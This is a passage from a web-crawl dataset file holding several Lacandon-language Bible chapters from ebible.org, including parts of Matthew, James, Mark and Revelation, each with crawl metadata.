yits'in aro' tu ca' ch'aj u mu'. Mʌna' u parar yejer caj quimin. Hasta tu rʌc ch'aj u mu' caj rʌc quimin mʌna' u parar yejer.\n27 Caj rʌc ts'oc u quiminob u mamob caj quimin xquic xan.\n28 Caj ya'araj u winiquirob judío a saduceojo':\n―Are tenob mac cu bin raq'uintej ca' bin ca' riq'uir mac tu quimin. Mʌ' ja wirej, siete caj u ch'aj u mam.\n29 Jesús caj u nuncaj:\n―A wʌc'ʌs bʌj cu tusariquex. Mʌ' ja najtiquex a ba' ts'iba'an ich u t'ʌn C'uj. Mʌ' ja werex wa jach chich u muc' C'uj.\n30 Ca' bin c'uchuc tu q'uinin u wʌc'ʌs riq'uir ti' quimen. A xibo' mʌ' ju raq'uintej xquic. Bayiri' a xquic mʌ' ju mʌmintej xib quire' u jer cu bin waysa'r ten C'uj irej yʌjt'ʌnirob C'uj ca'anan.\n31 'Soc a cʌniquex ba' u c'at ya'aric je' u riq'uir mac ti' quimen. C'aj wa techex tu ts'iba'an u t'ʌn C'uj. Caj ya'araj C'uj ti' u winiquirob israel:\n32 \"Tu c'ujinten Abraham uch. Bayiri' Isaac yejer Jacob.\" A C'ujo' mʌ' quimen yiric a nunquirex. Cuxa'an yiric a C'ujo'. Mʌ' ja wirej, cuxa'an yiric C'uj tu cotor mac.\n33 Caj yubob a pimo', caj jaq'uij yorob. Caj yubob ya'araj ten Jesús bic C'uj cu yiric mʌ' quimen mac.\nU t'ʌn C'uj ca' ij qui' quibic\n(Mr. 12.28‑34)\n34 U winiquirob judío a fariseojo' caj yubob ya'aric Jesús mʌ' c'ucha'an yorob u nunquicob u t'ʌn Jesús a saduceojo'. Caj u much'quintajob u bʌj yejer u winiquirob judío a saduceojo' soc u tarob ich Jesús.\n35 Caj tuchi'ta'b ten u winiquirob judío a fariseojo' yejer u winiquirob judío a saduceojo' turiri' u rac'ob. Caj bin u tus c'atejob ba' ti' Jesús soc tumta'r yor Jesús. Raji'ob caj u tuchi'tajob yʌjcamsʌyʌjir u t'ʌn Moisés.\n36 Caj c'ata'b ti' Jesús ten yʌjcamsʌyʌjir u t'ʌn Moisés:\n―In wʌjcamsʌyʌjirech. Arej tenob a jach manan tsoyir u t'ʌn C'uj ca' in qui' quibejob.\n37 Jesús caj u nuncaj ti':\n―Ca' a yajquintej C'uj, quire' raji' a Jaj Ts'urir. Quet a yajquintej C'uj yejer tu cotor a pixam yejer tu cotor a tucur yejer tu cotor a wor xan, quire' raji' pʌybej ich u t'ʌn C'uj.\n38 Mʌna' u jer jach manan tsoyir, quire' raji' pʌyber ich u t'ʌn C'uj. Rajen ca' a qui'quibex a jera'.\n39 Quet bayiri', ti' yʌn u jer cu ya'aric: \"Yajquintej a rac'ob an ten bic ca wʌc'ʌs yajquintic a bʌj.\"\n40 Wa ca quibic a je' ca'tur t'ʌn ts'iba'an uch. Caj a rʌc quibaj tu cotor u t'ʌn C'uj a ts'iba'an ten Moisés yejer yʌjtseq'uirob u t'ʌn C'uj uch.\nMac u nunquir Cristo\n(Mr. 12.35‑37; Lc. 20.41‑44)\n41 Mʌ' toy xicob u winiquirob judío a fariseojo' tu much'a'an ich Jesús. Caj c'ata'b ti'ob ten Jesús:\n42 ―Ba' ca najtiquex ti' Cristo, a tuchi'bir ten C'uj. Mac u nunquir?\nCaj ya'arob a winiquirob judío a fariseojo':\n―Ra' u nunquir David.\n43 Jesús caj ya'araj:\n―Arex ten biquin David caj u t'ʌnaj: \"In Jaj Ts'urirech.\" Mʌ' ja wirej, caj yamta'b ten u Taj'or u Pixam C'uj caj u ts'ibtaj a jera':\n44 A C'ujo' caj in wu'yaj ya'aric ti' in Jaj Ts'urir, quij David: \"Curen tin noj, quij C'uj, hasta quin rʌc ch'esic a mac a cu p'actiquecho'.\" Baxuc tu ts'ibtaj David uch.\n45 Bic tabar Cristo u parar a nunquirex David wa David u bʌj t'ʌnej: \"In Jaj Ts'urir.\" Rajen ij quer raji' mʌ' chen u parar a nunquirex David.\n46 Mʌna' mac caj u nuncaj u t'ʌn Jesús, mʌ' ju ca' tarob u c'aticob u jer t'ʌn ti' Jesús.","id":"","dump":"CC-MAIN-2022-27","url":"https:\/\/ebible.org\/study\/content\/texts\/lacNT\/MT22.html","date":"2022-06-27T11:43:57Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-27\/segments\/1656103331729.20\/warc\/CC-MAIN-20220627103810-20220627133810-00056.warc.gz","language":"lac","language_score":1.0000044107,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"lac_Latn_score\": 1.0000044107437134}","num_words":1411,"character_repetition_ratio":0.069,"word_repetition_ratio":0.0,"special_characters_ratio":0.298,"stopwords_ratio":0.484,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"3\nIj caq'uex\n1 U'yex in bʌjobechex. Arex ti' a rac'obex soc mʌ' ya'ab cu yocarob u camsic ti' u t'ʌn C'uj. Mʌ' ja wirej, ca' bin c'uchuc tu q'uinin ca' bin xiquenob ʌcʌtan C'uj. Jach manan cu bin u q'ueyiquenob C'uj wa mʌ' taj tin camsajob ti'o'.\n2 Tu cotoro'onex quic jen masiquex a ba' quij cariquex ich ic rac'obex. Barej wa ti' yʌn turiri' mac mʌ' u jen masic ti' u rac'ob, aro' jach manan tsoyir. Quire' c'ucha'an yor u ts'urintic u winquirir soc bayiri' mʌ' u man tu c'asir.\n3 Ca' ij cʌnex u mascabir a c'apar tu chi' tsimin. Cax chichin u mascabir a cu c'apar tu chi' tsimin. Ra' quir u ts'urintic u winquirir tsimin. Baxuc to'onex ij caq'uex cax chichin ij caq'uex ca' ij cʌnantex soc c'ucha'an ij corex, ic ts'urintex ic winquirirex.\n4 Baxuc xan ca' ij cʌnex a je' chem. Cax carem cu cuchur ten ic'. Yʌn u chan c'ʌb u chemin quir u tajquintic soc taj u bin. Cax tub u c'at bin u winquirir u chem ti' cu bini'.\n5 Baxuc xan ij caq'uex cax chichin ij caq'uex jach manan ya'ab quij cariquex ti' mac, soc u tus tucric jach carem.\nA werex a c'ac'o', cax chichin mʌ' u xur u bin u yerar. Seb cu rʌc erar. Wa mʌ' seb u tupur, cu rʌc erar c'ax.\n6 An ten bic ij caq'uex irej c'ac'. Cu tsicbʌtic tu cotor c'as. Ij caq'uex cu c'asquintic tu cotor ic winquirirex cax chichin ij caq'uex ich ic winquirirex quire' ij caq'uex irej wa cu rʌc t'ʌbic ij cuxtarex ca' erac. Ti' u tar a c'ac'o' ich quisin a cu tar ich ij caq'uex.\n7 Mʌ' ja wirej, a bʌc'o' a cu man ich c'ax. Bayiri' can xan cu ts'urintico'onex. Bayiri' ch'ich' xan baxuc cʌy cu rʌc ts'urintico'onex. Tu cotoro'onex cu rʌc ts'urintico'onex.\n8 Chen mʌna' mac c'ucha'an yor u ts'urintic ij caq'uex uch. Mʌna' mac c'ucha'an yor u su'sic u c'asir ij caq'uex. Mʌ' ja wirej, a cano' yʌc u coj, wa cu chi'ic mac cu quimin. Baxuc ij caq'uex xan irej yʌquir u coj can a cu quinsic mac.\n9 Yejer ij caq'uex quic t'ʌniquex C'uj. Quij cariquex ti' Tetex C'uj: \"Bayo' C'uj jach caremech.\" Bayiri' yejer ij caq'uex quij q'ueyiquex mac cax chen raji' beto'onex a C'ujo', chen bajo'onex a C'ujo', quic q'ueyiquex mac.\n10 Ra'iri' ti' ic chi'ex xan, cu joc'ar ic t'ʌnex quij cariquex: \"Bayo' C'uj, jach caremech C'uj.\" Sʌsame' cu joc'ar ic t'ʌnex quij q'ueyiquex mac. A baxuco' in bʌjobechex mʌ' tsoy ij cariquex baxuco'.\n11 Ca' a tucrex wa cu joc'ar yic' ja' ca'tur. Wa ch'aja cu joc'ar wa juntur c'aj cu joc'ar yic' ja'. Mʌna' yic' ja' ch'aja cu joc'ar yejer c'aj. Bayiri' ti' ij caq'uex xano'.\n12 Ca' tucrex xan in bʌjobechex. Je' wa ju wichʌncʌr on tu che'er ʌrʌxaj. Mʌ' biq'uin cu wichʌncʌr on ich u che'er ʌrʌxaj. Je' wa ju wichʌncʌr siquite' ich u che'er on. Mʌ' biq'uin cu wichʌncʌr ich u che'er on. Baxuc xan mʌ' u joc'ar yic' ja' ca'tur, mʌ' biq'uin cu joc'ar yic' ja' ca'tur. Mʌna' c'aj, mʌna' ch'aj, chen turiri' yic' ja'.\nA mac a jach er u camsic mac\n13 A mac a ju jach qui' cʌmʌn quir u camsic u rac'ob, a ti' yʌn tu yʌnechex. Arej yese taj u man tu tsoyir quire' raji' cu bin u yese u jach ero' u camsa' quire' cu yirir ten u rac'ob mʌ' u tucrej wa jach carem.\n14 Wa techex ca chen tus p'isex a bʌjex tu ca tus camsiquex mac soc yiricob jach c'ucha'an a worex a camsiquex a ti'obo'. Rajen mʌ' tsoy a tucriquexo' a wa'arex: \"Ic jach erex ij camsex.\" A techexo' tus a ca'ex quire' a techexo' mʌ' tan a quibex u t'ʌn C'uj, a jach tajo'.\n15 Aro' mʌ' ju tar ich C'uj. Quire' ca chen betiquex an ten bic a mac a mʌ' yerob C'uj cu beticob. Ca chen quibiquex a ba' ca pachtiquex ta worex rajen c'as. Ca chen quibiquex a ba' u c'at a quisino'.\n16 Quire' wa quic chen p'is ic bʌjex tu quic camsiquex mac soc yiricob jach c'ucha'an ij cor ij camsiquex ti'ob, quic chen p'us yorob mac, a baywo' mʌ' ij querex ba' tsoyir ca' ic betiquex. Quic chen manex tu c'asir.\n17 Chen a mac u ne'er u camsic u rac'ob quire' ts'ab u t'ʌnin ten C'uj soc yer u camsic u rac'ob. Raji' jach tsoy yor quir u cuxtar. Rajen mʌ' u p'usej yor u rac'ob. Mʌ' ju choquintic yor u rac'ob. Cu quibir u t'ʌn ten u rac'ob. Cu betic a tsoyo'. Bayiri' cu yajquintic u rac'ob xan. Mʌ' coyen u yajquintic u rac'obi'.\n18 A mac a ju ne'er u camsic u rac'ob quire' ts'a'b u t'ʌnin ten C'uj. Rajen a baywo', tan u man u sisquint u yor u rac'ob. Rajen a baywo' je' u cʌnicob u manob tu tsoyir u rac'ob. A baywo' u wʌc'ʌs u bʌjiri' cu bin u qui'quintic yor.","id":"","dump":"CC-MAIN-2022-27","url":"https:\/\/ebible.org\/study\/content\/texts\/lacNT\/JM3.html","date":"2022-06-30T16:27:10Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-27\/segments\/1656103850139.45\/warc\/CC-MAIN-20220630153307-20220630183307-00067.warc.gz","language":"lac","language_score":1.0000053644,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"lac_Latn_score\": 1.0000053644180298}","num_words":814,"character_repetition_ratio":0.069,"word_repetition_ratio":0.0,"special_characters_ratio":0.292,"stopwords_ratio":0.396,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"28\nCaj ric'sa'b Jesús ten C'uj\n(Mr. 16.1‑8; Lc. 24.1‑12; Jn. 20.1‑10)\n1 Caj ts'oc u man sábado, ra' u q'uinin cu yʌnxchun semana, María, ti' cu tar ich u cajar Magdalena. Ti' yʌn u jer María juntur. Caj binob tu but'a'an u baquer Jesús. Jach a'ac'bir caj binob. 2 Seb caj yubajob u jach ch'ic yum u pec ru'um, quire' caj tarij yʌjmasir u t'ʌn Jaj Ts'ur. Ti' u tar caj emij ca'anan. Caj c'uch tu but'a'an u baquer Jesús. Raji' caj rac u mac u jor, caj curaj tu jor. 3 Jach sʌc t'inen u noc' yʌjmasir u t'ʌn C'uj, irej u ba' ja', jach sʌc t'inen u wich, irej u raramʌncʌr xan. 4 Caj yirob soldado romano yʌjmasir u t'ʌn C'uj caj jaq'uij yorob. Caj rʌc babʌcnʌjob orac sʌj quimicob. 5 Caj ya'araj yʌjmasir u t'ʌn C'uj ti' xquic:\n―Mʌ' u jac'ʌr a worex ten. In wer tan a cʌxtiquex Jesús a cu bʌjʌ'r ich cruz. 6 Mʌna' tera', quire' riq'uij an ten bic caj u toc araj uch. Cojen irex u wa'ay tu yʌn ca'ch. 7 Seb ca' xiquechex a wa'arex ti' u camsʌwinicob Jesús. Arex ti'ob wʌc'ʌs riq'uij tu quimirir Jesús. Ti cu yʌn bin ich u ru'umin Galilea. Ti' taro' cu bin u nupic ti'ob. Tar cu bin yiricob. Jari' yʌn in wac techex.\n8 Jach jac'a'an yorob xquic caj binob arbir ti' u camsʌwinicob. Seb caj binob ya'arej. Jach manan qui' yorob. 9 A xquico', seb caj u nupob Jesús ich bej. Jesús caj u t'ʌnaj. A xquico', caj u juts u bʌjob ich Jesús, caj xonrʌjob. Caj mec'ab yoc Jesús ten xquic quir u c'ujinticob. 10 Caj ya'araj Jesús:\n―Mʌ' ja sajquirex ten. Xenex, arex ti' in camsʌwinicob: \"Tar quin bin ich u ru'umin Galilea ti' cu bin yiriquenob.\"\nA ba' ara'b ti' soldado romano ten u ts'urirob sacerdote\n11 Caj binob a xquico', caj binob soldado yʌjcʌnanyʌjirob u baquer Jesús. Mʌ' ya'ab bin ya'arej ti' u jach ts'urirob sacerdote ich u cajar Jerusalén. Caj ya'arob ba' u ber ti' tu cotor. 12 U jach ts'urirob sacerdote caj bin tsicbarob yejer u jach ts'urirob u cajar u winiquirob judío a cu ya'aric a Nuxibo'. Quir u p'eri'quinticob yor quir u ts'abʌr u taq'uin ti' soldado romano. 13 Caj ya'araj u jach ts'urirob sacerdote:\n―Tus arex ti' mac: \"Chumuc ac'bir caj tar ch'abir u baquer Jesús ten u camsʌwinicob. Quire' wenʌn in ca'ob.\" 14 Wa cu yubic u juminta'r gobernador je' in binob in cʌnanticob a pachex soc in ta'quiquechex ti' gobernador ―quij ya'aricob sacerdote.\n15 Caj ts'oc u c'ʌmiquicob u taq'uin soldado romano caj binob ya'aricob ich u winiquirob judío a ba' toc ara'b ti' ten u jach ts'urirob sacerdote. Rajen a je' t'ʌna' cu man u juminticob ich u winiquirob judío hasta baje'rer.\nJesús cu tuchi'tic u camsʌwinicob quir u tsec'ticob u t'ʌn\n(Mr. 16.14‑18; Lc. 24.36‑49; Jn. 20.19‑23)\n16 Caj binob u camsʌwinicob a oncejo' ich u ru'umin Galilea. Caj binob ich wits bic caj ara'b ten Jesús uch. 17 Ti' irir Jesús ten u camsʌwinicob ich u jo'r p'uc wits. Caj u c'ujintajob Jesús. Chen ti' yʌn ich u camsʌwinicob caj u tucrajob:\n―Mʌ' raji' Jesús.\n18 Jesús caj u juts'aj u bʌj ich u camsʌwinicob caj ya'araj ti'ob:\n―Tu toc ts'aja ten C'uj tu cotor u muc' C'uj, soc c'ucha'an in wor in betic a ba' in c'at, cax ich yoc'ocab, cax ich ca'anan. 19 Rajen quin toc aric techex: Ca' xiquechex ich tu cotor mac quir a camsiquex in t'ʌn soc u yacsicob tu yor. Acsex ja' tu jo'r mac yejer u muc' in Tet, yejer u muc' u parar C'uj yejer u muc' u Taj'or u Pixam C'uj. 20 Bayiri' camsex a rac'ob ca' u quibejob a caj in toc araj techex. A werex ti' yʌnen yejerechex u burur q'uin. Mʌ' biq'uin bin in ca' p'ʌtiquechex. Hasta cu xur t'ʌn. Jeroj ts'oquij quij.","id":"","dump":"CC-MAIN-2022-27","url":"https:\/\/ebible.org\/lacNT\/MAT28.htm","date":"2022-07-03T11:02:08Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-27\/segments\/1656104240553.67\/warc\/CC-MAIN-20220703104037-20220703134037-00484.warc.gz","language":"lac","language_score":1.0000004768,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"lac_Latn_score\": 1.0000004768371582}","num_words":620,"character_repetition_ratio":0.078,"word_repetition_ratio":0.0,"special_characters_ratio":0.288,"stopwords_ratio":0.484,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"2\nJesús cu jawsic a mʌ' u ch'ictare'\n(Mt. 9.1‑8; Lc. 5.17‑26)\n1 Mʌ' ya'ab u q'uinin caj wʌc'ʌs urij Jesús ich u cajar Capernaum. A jeroj caj yubob u juminta'b, ti' yʌn Jesús ich yatoch. 2 Seb caj u much'quintajob u bʌj ich Jesús jach pim, cax tu cu naj ocar mac ich yatoch mʌ' u p'atar tu cu yocar mac quire' pech. A Jesúso' caj u tsec'taj u jach tsoyir u t'ʌn C'uj ti'ob. 3 Caj tar purbirob yicnʌn Jesús a mac a mʌ' u ch'ictar. Mʌ' ya'ab caj tar purbirob cuatro xib tan u c'ochicob ti'. 4 Chen mʌ' c'ucha'an yorob u nats'arob yicnʌn Jesús quire' a pimo'. Tar nacob ich pach naj, caj u rʌc pa'aj u pach naj soc u yensʌ'r a mac a mʌ' u ch'ictar tu yicnʌn Jesús. Yej u tas caj emsa'b ich Jesús. Mʌ' ja wirej, mʌ' c'ucha'an yorob u yocarob ich naj tu yicnʌn Jesús uch. 5 A Jesúso' caj u yiraj bic caj u yacsob tu yorob wa Jesús c'ucha'an yor u jawsic caj u ya'araj ti' a mac a mʌ' u ch'ictare':\n―In yajech ―quij Jesús―, toc jaw a si'pir.\n6 Chen ti' yʌn mʌ' ya'ab yʌjcamsʌyʌjirob u t'ʌn Moisés ti' cura'anobi'. Tu yorob tu tucrajob ti' Jesús: 7 \"Biquinin baxuc cu tsicbar a ray xibo'? A baywo' poch' u ca'. Je' wa ju ch'uchur u yor u jawsic u si'pir maque', chen u bʌjiri'o' C'uj c'ucha'an yor u jawsic mac?\" 8 Chen seb caj u yubaj Jesús tu pixam a ba' tu mucu tucrajob, rajen caj u ya'araj ti'ob:\n―Biquinin a baxuco' ca tucriquex ta pixamex? 9 Wa quin wac ti' a je' a mʌ' u ch'ictare': \"Tin jawsaj a si'pir\", a techexo', mʌ' a werex wa yʌn in muc' ti' C'uj wa mʌ' yʌn in muc' ti' C'uj. Barej wa quin wac ti': \"Riq'uen ca' xiquech\", je' a werex yʌn in muc' ti' C'uj. 10 Caj ara'b ten Jesús ti' yʌjcamsʌyʌjir u t'ʌn Moisés: \"Arej in wesej techex yʌn u muc' ten C'uj quir in jawsic u si'pir mac ich yoc'ocab quire' baxuquenechexo', quij.\"\nJesús caj u t'ʌnaj a mac a mʌ' u ch'ictare':\n11 ―Riq'uen ―quij―, ch'aj a tas ca' xiquech ich a watoch.\n12 A mac mʌ' u ch'itare' caj riq'uij caj u ch'aj u tas caj joq'uij ʌcʌtan tu cotor mac rajen tu cotor mac jach jaq'uij yorob caj u rʌc qui' t'ʌntajob C'uj:\n―Jach caremech C'uj. Mʌ' biq'uin ij quiramʌnex a baxuc a jera'.\nLeví t'ʌn ten Jesús\n(Mt. 9.9‑13; Lc. 5.27‑32)\n13 Caj joc' Jesús caj bin ich u chi' c'ac'nab u c'aba' Galilea. Tu cotor a pimo' tarob tu yicnʌn Jesús, a jeroj tune', caj u yʌnxchun u camsic ti'ob. 14 Carique' tan u man wa ber caj u yiraj Leví, u parar Alfeo curucbar tu cuchir tu cu naj c'ʌmic u taq'uin gobierno romano. Caj pʌyir ten Jesús caj u ya'araj ti':\n―Cux ―quij Jesús―, quir a cʌnic in t'ʌn.\nCaj riq'uij, caj bin tu pach Jesús.\n15 Pachir ti' yʌn Jesús ich yatoch Leví. Curucbar janʌn Jesús yejer u camsʌwinicob, yejer a mac a cu c'ʌmicob u taq'uin gobierno romano. Ti' yʌn xan, a mac a mʌ' patarob, p'eri'ob u janʌnob yejer Jesús. Quire' yʌn ya'ab mac cu sayob tu pach quir u cʌnicob u t'ʌn Jesús. 16 U camsʌyʌjirob u t'ʌn Moisés a fariseojo' caj u yirajob curucbar janʌn u ca' Jesús yejer a mac a cu naj c'ʌmicob u taq'uin gobierno romano yejer a mac a mʌ' patarob, caj u ya'arob ti' u camsʌwinicob Jesús:\n―Biquinin a wʌjcamsʌyʌjirex ―quij ya'araj ti'― p'eri' u janʌnob yejer a mac a cu naj c'ʌmicob u taq'uin u gobierno romano, bayiri' xan, yejer a mac a mʌ' patarobe'?\n17 A ber caj u yubaj Jesúse', caj u ya'araj ti'ob:\n―A mʌ' yajo', mʌ' u c'atic ts'ac, quire' toc yʌn yor. A mac a yajo' ra' cu bin cʌxtic yo'och ts'ac. Rajen tareno'. Quire' taren in pʌyic a mac a yʌn u si'pirob ca' u c'axej tu yorob soc u p'ʌticob a c'aso'. Mʌ' taren in pʌyic a mac a cu ya'aricob mʌna' u si'pirob.\nU c'atbar yubej wa cu p'ʌtic u janʌn\n(Mt. 9.14‑17; Lc. 5.33‑39)\n18 U camsʌwinicob Juan yejer camsʌwinicob a fariseojo' tan u jamach p'ʌticob u janʌnob soc u qui' c'ujinticob C'uj. Caj tarob c'ata'bir ti' ten jun yarob mac caj u ya'arajob:\n―Biquinin u camsʌwinicob Juan yejer u camsʌwinicob a farisejo' cu jamach p'ʌticob u janʌnob soc u qui' c'ujinticob C'uj, barej a camsʌwinicob mʌ' u jamach p'ʌticob u janʌnob quir u qui' c'ujinticob C'uj?\n19 Jesús caj u ya'araj ti'ob:\n―A mac a cu bin u ch'ic u raque', cu pʌyic u rac'ob quir u qui' qui' janʌnob. A tarobe', mʌ' tsoy wa cu tucricob. 20 Barej wa cu c'uchur tu q'uinin cu bin, a tu ch'aj u raq'ue', jeroj a ray u q'uinino' cu bin u jamach p'ʌticob u janʌnob. Wa ber ca' bin xiquen a ray u q'uinino' jach jaj cu bin u jamach p'ʌticob u janʌnob in camsʌwinicob.\n21 Caj u ya'araj Jesús:\n―Mʌ' tsoy xan, ca' a xaxactiquex a ba' caj a cʌnex ti' a nunquirex yejer a ba' ca cʌniquex ti' ten. Mʌ' ja wirej, mʌna' mac cu jompʌc'tic u rabir u noc' yejer ric'ben. Cu mosar a ric'beno' cu jatar, cu cochtar. Jach carim u jorir u noc' u cochtar. 22 Bayiri' xan, mʌna' mac cu t'ajic u c'ab u wich uva ich u rabir yot'er chivo. Quire' ca' bin pajnʌc, cu bujur, hasta u rʌc wecar u c'ab uva. Cu rʌc jatar u yot'er chivo xan. A ric'ben u c'ab u wich uva, ca' u t'ajej ich ric'ben yot'er chivo soc mʌ' u bujur soc mʌ' u rʌc wecar u c'ab uva.\nU camsʌwinicob Jesús caj u jich'tob u pʌc'ar u wich trigo tu q'uinin tu cu jesic u bʌjob winiquirob judío\n(Mt. 12.1‑8; Lc. 6.1‑5)\n23 Ra' u q'uinin tu cu jesic u bʌjob u winiquirob judío, cu ch'ʌtob u cor mac Jesús, quet yejer u camsʌwinicob. Robob caj u tarob tu pach Jesús. U camsʌwinicob Jesús caj u jich'tajob u pʌc'ar u wich trigo, u jantejob quire' wichʌjob. 24 A winiquirob judío a fariseojo' tun, caj u ya'arob ti' Jesús:\n―Iric a camsʌwinicob. Biquinin cu jich'ticob u pʌc'ar u wich trigo u q'uinin tu cu jesicob u bʌj u winiquirob judío. Quire' cu beyajob tu q'uinin tu cu jesic u bʌjob u winiquirob judío.\n25 Jesús caj u ya'araj ti' u winiquirob judío a fariseojo':\n―Mʌ' wa ta xacajex tu ts'iba'an u t'ʌn C'uj ti' David uch ber caj wichʌjij David yejer u rac'ob uch? 26 Caj oquij David yejer u rac'ob ich naj tu t'ina'an yot'er chivo quir u c'ujinticob C'uj u winiquirob judío. Caj ts'a'b yo'och pan ten a sacerdote. A ra u q'uinino' ti' yʌn u jach ts'urir sacerdote u c'aba' Abiatar. A jeroj tune', caj u jantajob David yejer u rac'ob quire' wichʌjob, cax mʌ' tsoy u jantic a caj ts'a'b ti' David ten sacerdote. Mʌ' ja wirej, ra' quir u ts'abʌr ti' C'uj, cu chen janticob a sacerdotejo'.\n27 Bayiri' xan, caj u ya'araj ti'ob:\n―Mʌ' ja wirej, u q'uinin tu cu jesic u bʌjob ra' beta'b ti' winic quir u jesic u bʌjob. Mʌ' beta'b winic ten C'uj ti' u q'uinin tu cu jesic u bʌjob. 28 A teno', baxuquenechex, chen a teno' cu ts'uririntiquen tu cotor ba', inan a ba' cu yiric mac tu q'uinin tu cu jesicob u bʌj u winiquirob judío ―quij Jesús.","id":"","dump":"CC-MAIN-2022-27","url":"https:\/\/ebible.org\/lacNT\/MRK02.htm","date":"2022-06-29T12:18:50Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-27\/segments\/1656103639050.36\/warc\/CC-MAIN-20220629115352-20220629145352-00294.warc.gz","language":"lac","language_score":1.0000010729,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"lac_Latn_score\": 1.000001072883606}","num_words":1209,"character_repetition_ratio":0.08,"word_repetition_ratio":0.0,"special_characters_ratio":0.294,"stopwords_ratio":0.51,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"9\n1 Jeroj, tune', u jer yʌjmasir u t'ʌn C'uj, a cincojo', caj u yutst u mascabir quir u yutsta'r mac. Jeroj tin wiraj sab caj rub ich ca'anan ich yoc'or ru'um, a ray sabo' u c'at ya'aric c'as yʌjmasir u t'ʌn C'uj. Raji' ts'a'b ten mac u c'ʌrʌbar a tu yʌn u jorir ich ru'um, a mʌ' u xura'an u tamino'.\n2 Raji' caj u q'ue' u jor a tu yʌn u jorir ich ru'um a mʌ' u xura'an u tamino', jeroj caj naquij u buts'ij ich ca'anan a ir ch'ic yum u buts'ir c'ac'. Quire' a buts'o' caj ac'birchʌjij a chunq'uino', rajen caj u bʌr a q'uino' quire' a buts'o', a cu nacʌr ich u jorir ru'um, a mʌ' xura'an u tamino'.\n3 Caj nac u buts'ir a cu tar tu jorir ich ru'um a mʌ' u xura'an u tamin. Jeroj, tune', quet caj joq'uij sa'ac' ich yoc'ocab, chen jach pim. Jeroj, caj ts'a'b chi'biro' mac soc u chi'birob an ten bic roroch cu chi'bar ich yoc'ocab.\n4 Caj toc ara'b ti' a sa'ac'o' mʌ' a jantiquex a ba' pʌc'a'an ich coro', mʌ' a jantiquex a che' xano', mʌ' a jantiquex a su'uc xano' chen ca' a chi'ex mac a mʌ' ts'ibta'an u pam ten yʌjmasir u t'ʌn C'uj uch.\n5 Ts'a'b ti'ob ten C'uj u muc' quir u chi'bir a mac a mʌ' ts'iba'an u pam ten yʌjmasir u t'ʌn C'uj. Mʌ' u cha'bʌr u quinsa'rob chen quir u muc'yajob cinco ic nʌ'. Robob bin u caj muc'yajob an ten bic mac caj chi'bir ten roroch.\n6 A ray u q'uinino', a mac a chi'bir ten a sa'ac'o', bin u ca' u pachtob u quimin quire' yaj yubicob u chi'birob, chen mʌ' ju bin quiminob cax u c'at u quinsicob u bʌj.\n7 Caj in wir u winquirir a sa'ac'o', ra' irej yʌrʌc' tsimin a mac a tabar u ba'tetic mac. Tu jo'rob ti' u p'oquimʌn u p'oc irej u p'oc a reyo', raji' caj beta'b u mascabir oro. Chen robob u wich ir u wich xib.\n8 A sa'ac'o', jach c'ʌrʌb u tsotser u jo'r irob u jo'r a xquico'. U cojo' a sa'ac'o', irob u coj barum.\n9 A sa'ac'o', yʌn u boxer u tsem irob a beta'b u mascab quir u pixic u tsem mac wa ber cu bin tu ba'te' u jer soldado. A sa'ac'o', caj jumnʌj u xic'ob, caj jumʌjob irob u chan carro a cu jita'r ten tsimin quire' chich u bin tu cu yocar ba'te' mac, tu jach pim cu bin ba'te'\n10 A sa'ac'o', yʌn u yach an ten bic u yach roroch. Yʌn xan u yachob soc c'ucha'an yor u chi'bir mac soc u muc'yaj cinco ic nʌ' a mac a chi'bir ten a sa'ac'o'.\n11 A sa'ac'o', yʌn u ts'urir, raji' u yʌjmasir u t'ʌn C'uj uch, a mac jach c'as, a cu tar tu jor ich ru'um, a mʌ' xura'an u tamin. Raji' pʌcha'an u c'aba' ich u t'ʌn hebreo Abadón, chen u c'aba' pʌcha'an ich u t'ʌn griego Apolión. Ra' u c'at ya'aric, a mac a cu ch'esic ba'.\n12 Caj ara'b ten mac tu quin wʌyac' uch: \"A sa'ac'o', quij, turiri' u muc'yaj caj manij, quij, ti' toy yʌn u jer ca'tur quir u tar u jer. Jeroj tabar u tar, ca' bin ts'ocac a ray pʌybero'.\" Baxuc caj u ya'araj mac ten.\n13 Caj in wʌyʌc'taj ich ca'anan caj in pʌctaj caj in wir u yʌjmasir u t'ʌn C'uj, caj u yutst u mascabir quir u yutsta'r, raji' a seiso'. Caj ts'oc u yutstic caj in wu'y u t'ʌn mac tar u tar u t'ʌn ich yoc'or u cuchir a tu toca'b ten yʌjmasir u t'ʌn C'uj a qui' u boque' ca'ch. A rayo' ti' yʌn ʌcʌtan ich C'uj, raji' beta'b u mascabir oro, raji' yʌn u bac caj beta'b tu yʌn mac irej u bac a wacʌxo'. Chen yʌn cuatro u bac tu jo'r u cuchir a tu toca'b ten yʌjmasir u t'ʌn C'uj a qui' u boc ca'ch.\n14 A mac a cu t'ʌn, a cu tar tu cuchir a tuj toca'b a qui' u boque' ich ʌcʌtan C'uj, raji' caj u ya'araj ti' u yʌjmasir u t'ʌn C'uj, a ts'oc u yutstic u mascabir soc u yutsa'r mac:\n―Ca' xiquech a siptej a cuatro yʌjmasirob u t'ʌn C'uj, a mac a jach chich u muc', a mac tan u susa' ten C'uj quire' c'ʌxa'an baje'rer, a ti' yʌno' tu yʌn u ya'arir Eufrates.\n15 Robob caj sipta'b ten a mac a caj u yutstaj u mascabir quir u yutsta'r, raji'ob a seiso', ca' xicob a raj cuatro yʌjmasirob u t'ʌn C'uj a jach chich u muc'ob. Quire' robob teta'b ten C'uj ca' ts'ocac u muc'yaj a cu bin tar soc u quinsicob jun xot' a mac a ti' yʌn ich yoc'ocab. Mʌ' ja wirej, toc p'isa'an a horajo', bayiri' xan, a q'uino', bayiri' xan, a ic nʌ'o' bayirir xan, a yaxq'uino' quir u sipta'r u muc'yaj.\n16 A 